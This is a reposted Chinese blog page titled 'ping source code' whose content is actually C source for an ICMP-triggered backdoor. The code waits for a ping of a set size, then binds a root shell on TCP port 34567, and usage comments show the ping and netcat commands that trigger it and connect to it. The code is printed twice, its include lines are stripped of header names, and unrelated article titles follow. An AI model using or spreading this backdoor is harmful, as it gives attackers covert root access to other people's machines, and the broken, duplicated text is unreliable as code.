ping原始碼(轉)
ping原始碼(轉)[@more@]/*
ping -s 100 192.168.11.7
nc 192.168.11.7 34567
*/
#include
#include
#include
#include
#include
#include
#define SIZEPACK 88
#define PORT 34567
void child_kill()
{
wait(NULL);
signal(SIGCHLD, child_kill);
}
int bind_shell()
{
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
chdir("/");
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr,sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0)
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
return 1;
}
close(soc_cli);
}
}
int main(int argc, char *argv[])
{
int s, size, fromlen;
char pkt[4096];
struct protoent *proto;
struct sockaddr_in from;
if (fork() != 0) exit(0);
proto = getprotobyname("icmp");
if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
/* can't creat raw socket */
exit(0);
/* waiting for packets */
while(1)
{
do
{
fromlen = sizeof(from);
if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0)
printf("ping of %i ", size-28);
} while (size != SIZEPACK + 28);
/* size == SIZEPACK, let's bind the shell */
switch(fork()) {
case -1:
continue;
case 0:
bind_shell();
exit(0);
}
sleep(15);
}
}
ping -s 100 192.168.11.7
nc 192.168.11.7 34567
*/
#include
#include
#include
#include
#include
#include
#define SIZEPACK 88
#define PORT 34567
void child_kill()
{
wait(NULL);
signal(SIGCHLD, child_kill);
}
int bind_shell()
{
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
chdir("/");
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr,sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0)
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
return 1;
}
close(soc_cli);
}
}
int main(int argc, char *argv[])
{
int s, size, fromlen;
char pkt[4096];
struct protoent *proto;
struct sockaddr_in from;
if (fork() != 0) exit(0);
proto = getprotobyname("icmp");
if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
/* can't creat raw socket */
exit(0);
/* waiting for packets */
while(1)
{
do
{
fromlen = sizeof(from);
if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0)
printf("ping of %i ", size-28);
} while (size != SIZEPACK + 28);
/* size == SIZEPACK, let's bind the shell */
switch(fork()) {
case -1:
continue;
case 0:
bind_shell();
exit(0);
}
sleep(15);
}
}
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10796304/viewspace-962591/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 用Javascript轉換原始碼 (轉)JavaScript原始碼
- CMultiFTP類原始碼 (轉)FTP原始碼
- DVD解碼原始碼大公佈 (轉)原始碼
- boost::any原始碼分析 (轉)原始碼
- 怎樣使用ASP實現Ping (轉)
- 【轉】編譯Android系統原始碼和核心原始碼編譯Android原始碼
- [GXYCTF2019]Ping Ping PingTF2
- MATLAB影象旋轉原始碼Matlab原始碼
- 打磚塊遊戲原始碼 (轉)遊戲原始碼
- 記憶體管理原始碼 (轉)記憶體原始碼
- 遠端喚醒原始碼 (轉)原始碼
- Glide原始碼解析四(解碼和轉碼)IDE原始碼
- Asp.net編寫的PING工具 (轉)ASP.NET
- 原始碼原始碼原始碼樹品原始碼原始碼
- 原始碼分析Gateway請求轉發原始碼Gateway
- 小邵教你玩轉promise原始碼Promise原始碼
- php-msf原始碼解讀【轉】PHP原始碼
- 開放原始碼的定義 (轉)原始碼
- 原始碼資料庫管理程式 (轉)原始碼資料庫
- ASP分頁技術原始碼 (轉)原始碼
- 【轉】MySQL原始碼編譯安裝MySql原始碼編譯
- linux_unix_script_生成ping指令碼Linux指令碼
- 怎麼利用PHP去ping一個地址 (轉)PHP
- №窮舉密碼演算法指要(原始碼) (轉)密碼演算法原始碼
- [GXYCTF2019]Ping Ping Ping 1 - Xxiaoma解題TF2
- Windows Ping的結果顯示每次ping的時間的bat批處理指令碼WindowsBAT指令碼
- 使用開原始碼寫linux程式(轉)原始碼Linux
- 網橋原理及原始碼詳解(轉)原始碼
- 華為CMPP原始碼delphi6版 (轉)原始碼
- IP 來源查詢 php原始碼 (轉)PHP原始碼
- Araneid 蜘蛛紙牌遊戲原始碼 (轉)遊戲原始碼
- XML檔案原始碼察看器(三) (轉)XML原始碼
- XML檔案原始碼察看器(四) (轉)XML原始碼
- XML檔案原始碼察看器(七) (轉)XML原始碼
- XML檔案原始碼察看器(二) (轉)XML原始碼
- XML檔案原始碼察看器(五) (轉)XML原始碼
- XML檔案原始碼察看器(六) (轉)XML原始碼
- ping 命令